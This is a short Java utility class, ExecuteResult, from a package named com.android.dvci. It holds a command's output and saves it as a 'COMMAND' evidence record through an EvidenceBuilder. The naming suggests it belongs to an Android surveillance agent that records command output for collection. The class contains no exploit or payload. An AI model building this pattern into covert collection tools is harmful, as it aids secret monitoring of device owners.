package com.android.dvci.util;
import java.util.ArrayList;
import com.android.dvci.auto.Cfg;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.file.Directory;
public class ExecuteResult {
private static final String TAG = "ExecuteResult";
public int exitCode = 0;
public ArrayList<String> stdout = new ArrayList<String>();
public ArrayList<String> stderr = new ArrayList<String>();
public final String executionLine;
public ExecuteResult(String cmd) {
executionLine = Directory.expandMacro(cmd);
}
public String getStdout() {
return listToString(stdout);
}
public String getStdErr() {
return listToString(stderr);
}
private String listToString(ArrayList<String> list) {
StringBuilder fullRet = new StringBuilder();
for (String string : list) {
fullRet.append(string);
fullRet.append("\n");
}
return fullRet.toString();
}
public void saveEvidence() {
if (Cfg.DEBUG) {
Check.log(TAG + " (parseExecute) Output:" + getStdout());
}
byte[] content = WChar.getBytes(getStdout(), true);
final byte[] additional = WChar.pascalize(executionLine);
if (Cfg.DEBUG) {
Check.log(TAG + " (saveEvidence), content: " + content.length);
Check.log(TAG + " (saveEvidence), additional: " + additional.length);
}
EvidenceBuilder.atomic(EvidenceType.COMMAND, additional, content);
if (Cfg.DEBUG) {
Check.log(TAG + " (saveEvidence), end");
}
}
}